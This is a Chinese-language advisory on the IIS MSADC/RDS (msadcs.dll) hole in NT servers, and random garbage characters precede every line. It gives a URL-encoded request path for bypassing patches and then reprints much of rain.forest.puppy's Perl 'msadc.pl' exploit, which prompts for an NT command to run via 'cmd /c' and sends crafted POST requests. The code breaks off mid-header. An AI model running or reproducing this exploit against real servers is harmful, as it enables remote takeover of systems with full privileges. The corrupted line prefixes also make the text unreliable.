IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
i4nFjz G\B+bBz 涉及程序:
s[t<2)i Microsoft NT server
\f)GW$` DJAKF 描述:
OkfxX&n 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
./L)BLC i \Pcn D$L 详细:
dC|6z/ 如果你没有时间读详细内容的话,就删除:
o?6m/Klw6 c:\Program Files\Common Files\System\Msadc\msadcs.dll
Ivj=?[c| 有关的安全问题就没有了。
4I&Mdt<^D u8M_2r 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
m/ID3_ k[,0kP; 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
VqxK5 关于利用ODBC远程漏洞的描述,请参看:
K<kl2# G=SMz+z http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 76KNgV)3 ={+8jQqi1 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
9C0#K\ http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1:>F{g +C[g>c}d 这里不再论述。
Ez-Q'v(9 w~ON861 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
$2RSYI`py lW|v_oP9 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Aa4Tq2G 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
j4+Px%sW )^+hm+27v e<[ ] W4"A #将下面这段保存为txt文件,然后: "perl -x 文件名"
;_2+Y^Qb QR _h#N2h #!perl
1j:aGj>{ #
VCJOWUEO1 # MSADC/RDS 'usage' (aka exploit) script
DfP-(Lm) #
Iy&,1CI"] # by rain.forest.puppy
WqF$-rBJG^ #
=0 !j"z= # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
RZ;s_16GQ # beta test and find errors!
Poa&htxe1 py+\e"s use Socket; use Getopt::Std;
S(?A3 H getopts("e:vd:h:XR", \%args);
[[zNAq)" _SJ:|I print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
u6Lx3 A.dbb'^ if (!defined $args{h} && !defined $args{R}) {
'W yWO^Bdk print qq~
akU2ToP Usage: msadc.pl -h <host> { -d <delay> -X -v }
4^M"V5tDx -h <host> = host you want to scan (ip or domain)
:O$bsw:3w< -d <seconds> = delay between calls, default 1 second
OZnKJ< -X = dump Index Server path table, if available
p:z~>ca -v = verbose
o:fe`#t -e = external dictionary file for step 5
RAP-vVh/C CxZh^V8LP Or a -R will resume a command session
l`i97P?/W B4wRwrVI> ~; exit;}
[~ 2imS j49Uj}:j $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
$LFL4Q if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
%yu =,J j if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
$Ery&rX. if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
ovBmo2W/ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
xLDD;Qm, if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
g\
vT7x tiHR&v if (!defined $args{R}){ $ret = &has_msadc;
q$mc{F($D die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
]z/R?SM "\KBF print "Please type the NT commandline you want to run (cmd /c assumed):\n"
IA({RE . "cmd /c ";
mbGma $in=<STDIN>; chomp $in;
kFV, Fg $command="cmd /c " . $in ;
. R/y`:1:W j)6p>6 if (defined $args{R}) {&load; exit;}
yxo=eSOM m<#12#D print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
5<R m{ &try_btcustmr;
[!-gb+L G0Qw&
mqF print "\nStep 2: Trying to make our own DSN...";
Vm>E F~ r &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
>MYDwH 9;?u% print "\nStep 3: Trying known DSNs...";
~"CGur P &known_dsn;
}Mt1C~{( _gI1rXI print "\nStep 4: Trying known .mdbs...";
S!.sc &known_mdb;
d%"XsbO ow.!4kx{ d if (defined $args{e}){
d6YXITL)\> print "\nStep 5: Trying dictionary of DSN names...";
Qop,~yK &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
"8{A4N1B5 EZ]4cd/i print "Sorry Charley...maybe next time?\n";
%BP>,E/w exit;
k[;)/LfhS /uj^w&l# ##############################################################################
oDz|%N2s| c{BAQZVc sub sendraw { # ripped and modded from whisker
czuIs|_K* sleep($delay); # it's a DoS on the server! At least on mine...
[ 49Cvde^ my ($pstr)=@_;
h<`aL;.g socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Y(.e e%;, die("Socket problems\n");
h@!p:] if(connect(S,pack "SnA4x8",2,80,$target)){
hx$61E= select(S); $|=1;
7GYf#} N print $pstr; my @in=<S>;
:^v Q4/, select(STDOUT); close(S);
C,Nf|L((6 return @in;
1 _?8 OU } else { die("Can't connect...\n"); }}
!m+Pd.4TaB >|E]??v ##############################################################################
5M0Q'"`F: L(VFzPkY% sub make_header { # make the HTTP request
zVq!M-e my $msadc=<<EOT
f\]?, POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
<gkE,e9 User-Agent: ACTIVEDATA
FklR!*oL,) Host: $ip
&>,;ye>A Content-Length: $clen
K8;SE! Connection: Keep-Alive
Z~~6y6p 3ic /xy;} ADCClientVersion:01.06
*9^8NY] Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
ahg:mlaob A'DFY { --!ADM!ROX!YOUR!WORLD!
3' i6<
Content-Type: application/x-varg
E1eGZ&&Gd Content-Length: $reqlen
CO='[1"_5 sFTAE1| EOT
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